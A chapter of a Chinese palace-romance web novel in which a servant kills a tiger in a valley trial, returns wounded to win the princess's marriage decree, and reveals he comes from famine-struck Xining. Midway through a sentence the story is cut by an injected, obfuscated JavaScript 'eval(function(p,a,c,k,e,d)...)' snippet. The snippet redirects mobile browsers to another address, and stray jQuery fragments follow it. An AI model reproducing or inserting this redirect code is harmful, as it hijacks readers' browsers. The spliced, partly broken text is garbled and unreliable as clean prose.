9. 生死

所有人的目光都集中在书僮身上,等待他的回应。


黎元仪垂眸,这一关太过凶险,设身处地思之,她若是书僮,此时退却不仅可以保全性命,还可获得黄金百两和自由之身。眼下看来,这何尝不是最好的结果?


何况,做她的驸马显而易见是风波难平的荆棘路,今日更要人搭上性命去搏去争,这世上恐怕无人能做到。


眼下的情况便是一万个人来选,也只得一条出路,那便是立刻放弃!


黎元仪闭了眼睛,心中百感交集,缓缓叹出口气。


她自然不想有人因自己涉险白白丢了性命,可如此之后,恐怕事情又要回到前世一般的局面。


太后和陛下接下来又会如何想法子教她嫁入琅琊王氏呢......


耳边传来摩擦沙地的脚步声,那书僮突然上前一步,在众人惊愕的目光中,抬眸直视高台之上的扈太后。


他声音低沉,却带着不容置疑的坚定。


“草民愿领命!入燕子峪,制服赤睛大虫!”


*


燕子峪形似展翅飞燕的山峦,在多年前松山校场还未建成时曾是京郊一处游览名胜。山谷内有着一处小型瀑布,沿石壁湍流而下,是炎酷暑天的纳凉宝地。


书僮手握银枪,沿着潮湿的岩壁一步步往前。初时空旷,只片刻后却渐行渐窄,恰如巨盆大口逐渐收拢之势。


两侧青灰色岩壁上爬满的暗绿藤蔓擦过他的耳畔,垂落经年不散的寒露,坠入脚下层叠堆积的腐叶。狭窄的谷道里粘稠的空气,夹杂着说不出的腥气和膻味。


愈往深处,岩隙间渗出的水汽愈重。待他屏息转过一道崎岖交错的鹰嘴岩,眼前豁然乍现如银河倒悬的百丈飞瀑。


水流声壮如闷雷滚滚,在岩壁间碰撞震荡肺腑。湍流击打岩壁溅起的茫茫水雾被不知从何处漏入的一道天光穿透,七彩虹光闪烁着笼罩于幽深不见底的青潭之上。


潭边一截腐木上,血红色的曼陀罗与鬼笔蕈纠缠共生。眼前如梦似幻的极致丽景,只教人恍若亲临奈河河畔。


忽有黑影自瀑后洞穴呼啸而出,一时腥风大作,浓烈的臊味弥漫山谷,疾风如利刃割碎水雾,迎面朝书僮劈将而来。


书僮紧握银枪,衣袂翩飞,抬手自上而下一气掀破重重迷障,再望出去,眼前俨然已扑落一只庞然大物。


猩红眸子带着嗜血的凶悍,隔着白茫茫的水雾,恰似两团鬼火,正幽幽凝视着他。


书僮贴着潮湿的岩壁后退半步,手中银枪在虹光下泛起一道刺目的冷光。大虫血红色的竖瞳收缩如针,抬爪掩目。


“吼——”


一声磅礴的怒啸,撕裂凝固的空气,直震得崖壁碎石簌簌滚落。


只见猛虎后肢肌肉节节暴起,随即裹挟着呛鼻的腥风凌空扑杀而来。


书僮立刻矮身闪躲着翻滚而过,尖利的虎爪擦着他的脊背掠过,顷刻间撕裂月白袍衫,三道狰狞血痕蜿蜒着渗透后背。


血腥气激得那赤睛大虫愈发狂躁,下一秒虎尾横扫而来,书僮纵身一跃,借势立于潭边那截腐木,却未及站稳,下一秒腐木应声而断,曼陀罗与鬼笔蕈皆踏于虎爪之下,萎顿成泥。


面对眼前激狂的猛兽,他竭力稳住气息,膝盖微曲着慢慢挪步,执枪的手青筋暴起,一刻不敢松懈。


忽然,他眼角瞥见那大虫身后十丈外,悬在绿藤间石壁上的乌铁锁链,想必那就是十几日前它挣断的镣铐。


“呜——”


又是一声震耳欲聋的虎啸,赤睛大虫再度怒吼着飞扑上来,书僮曲膝自它身下铲滑避开,银枪不偏不倚在那大虫软腹正中破开一道血口。


赤睛大虫吃痛之下,一头跌入深潭,书僮趁机攀上石壁,将乌铁锁链绕腰一圈。待那大虫缓过劲,挣扎着再度扑将而来,他双腿猛然蹬向石壁,拽动锁链飞身向猛虎而去。


悬空的锁链掼向虎颈,大虫轰然栽倒在地,书僮踩在虎背上顺着它虬结的脖颈紧紧缠绕三匝,尔后咬牙攥紧双拳绷直臂膀,倾全身之力将锁链向上拔起。


“呜噜噜——”


赤睛大虫的低吼声嘶哑而破碎,在山谷中回荡。


随着锁链越收越紧,大虫猩红的双瞳已然充血浑浊,仿佛下一秒就要从眼眶中迸裂而出。它的舌头无力地垂落,倒刺在痉挛中悚然竖起,喉头发出诡异的怪声,濒死挣扎间,虎爪早已将身下碎石碾成细末。


书僮此刻也丝毫不比这大虫来得轻松。他死死拽紧锁链,额角青筋暴起,汗水混着血水从下颌滴落,背上的伤口染红了半边身子,但他依旧咬紧牙关,不松手。


突然,赤睛大虫的瞳孔猛地收缩,像是回光返照般猛地发力,扭身朝着书僮的腿,一口咬了下去。


锋利的獠牙深深嵌入血肉,鲜血顺着虎口滴落,染红了地面......


*


伴随自燕子峪呼啸而来的山风,一声震天动地的虎吟声骤然响起。


黎元仪扶在栏杆上的手不由一抖,心跳也随之慢了一拍。


她一瞬不瞬地盯着远处形似展翅飞燕的山峦,本就苍白的脸又失了几分血色。


“元儿,”扈太后指尖轻轻摩挲着手腕上的翡翠念珠,唇角勾起一抹若有似无的笑意,“都过去了这么久,想必他是回不来了。那赤睛大虫可不是寻常猛兽,连驯兽师都命丧其口,更何况区区一个洗砚奴?”


黎元仪指尖微微颤抖,却依旧挺直脊背,“母后少安毋躁,且再等等吧。”


扈太后冷笑一声,正要开口再说些什么,一声“陛下到!”自高台下传来。


一身莺黄常服的少帝登上观台,兴致勃勃道:“朕来迟了,没错过重头戏吧?”


黎元仪心下一沉,重头戏?这原是事先计划好的“重头戏”?


这是活生生的人与虎相争,是要拿命去搏的!


怎么在他们眼中却和在那勾栏瓦舍看折子戏一般轻松?!


黎元仪深吸一口气,正要开口细问,耳畔忽然传来席间不知是谁发出的一声惊呼——


“来了!来了!回来了!”


扈太后脸色骤变,猛地站起身,目光死死盯着远处山谷出口。


只见一道染血的月白色身影缓缓走出山谷。残阳如血,照在他一


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326007|167620||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


身破碎不堪的袍衫上,将血迹映得灿若红霞。


虽受了伤,腿脚也不甚利索,却依旧挺拔如松,坚定如初。在他身后拖着一道长长的锁链,死死捆着的正是那赤睛大虫的尸体,虎目圆睁,却已无生气,鲜血顺着锁链滴落,染红了脚下的路。


“怎么会......”扈太后喃喃低语,显然无法接受自己一早认定会被猛虎撕碎死无全尸的人,再次安然无恙出现在面前。


不知是谁带头鼓的掌,雷鸣般的掌声夹杂着欢呼如潮水般迅速淹没观台。震得桌案上的茶盏“叮当”作响,也震得扈太后耳膜发疼,连带偏头痛一齐发作。


黎元仪望着晖光下踽踽独行的来者,既是欣慰又是愧对。


萍水相逢,他只是她阴差阳错下胡乱攥住的救命稻草,却不想累他险些丧命虎口。


若今日他果真一去不回,余生的每一日她都不得心安。


书僮放下锁链,面朝观台躬身一礼,单膝跪地:“草民幸不辱命,还请陛下太后观验。”


望着横陈在地、已然僵硬的赤睛大虫,扈太后眼中闪过一丝不甘,并不肯开口接话。


少帝自高台上望下去,啧啧两声:“确是死透了,倒也可惜,这原是西螺进贡的稀罕物,性情乖戾却是难以驯服...可惜啊可惜......”


黎元仪走下观台,亲自扶起书僮,与他并肩而立,抬眸直视太后与少帝:“陛下,母后,既然他已通过四关考验,还请履行约定,即刻为儿臣与他颁旨赐婚!”


少帝点点头,“皇姐说的是,君无戏言,那便允了......”


扈太后猛地起身,声音尖锐,“陛下!此事还需从长计议!”


“母后!”黎元仪扬声道,“此事已闹得沸沸扬扬,众人皆知。若此刻再生变毁约,岂不形同戏耍,定会有损皇家体面,有损陛下清誉!还请母后三思,切莫出尔反尔、贻笑大方!”


扈太后脸色骤变,她冷冷盯着书僮染血的身影,却无法再出言反驳。沉默良久,终于开口:“既如此,陛下颁旨赐婚便是!”


说完,扈太后就带着一众宫人先行离开校场。


少帝笑了笑,有些尴尬,事先并未料到这一局后还能有赐婚的机会,确是丝毫没有准备。


他目光中带着探究,“却不知这位壮士姓甚名谁,原籍何处?”


书僮抬眸望向少帝,“草民詹信,原籍北疆,西宁。”


话音刚落,观台上瞬间安静下来,少帝脸上本就浅淡的笑容也随之凝固。


西宁,这个地名如同一把利刃,瞬间刺破了在场所有人尘封的记忆。


那是靠近边疆的荒蛮贫瘠之地,更是多年前那场大旱的源头。


无数饥民南下逃荒,饿殍遍野,甚至到了易子而食的地步。有人趁机揭竿起义,可谓天灾人祸都挤到了一起。


坊间暗议,先帝正是因那场饥荒殚精竭虑,最终吐血而亡、英年早逝。


自此,西宁成了京中讳莫如深的地方,鲜少有人提及。


少帝目光中毫不掩饰地带出几分震惊,声音也尖锐起来,“你...你是西宁人?”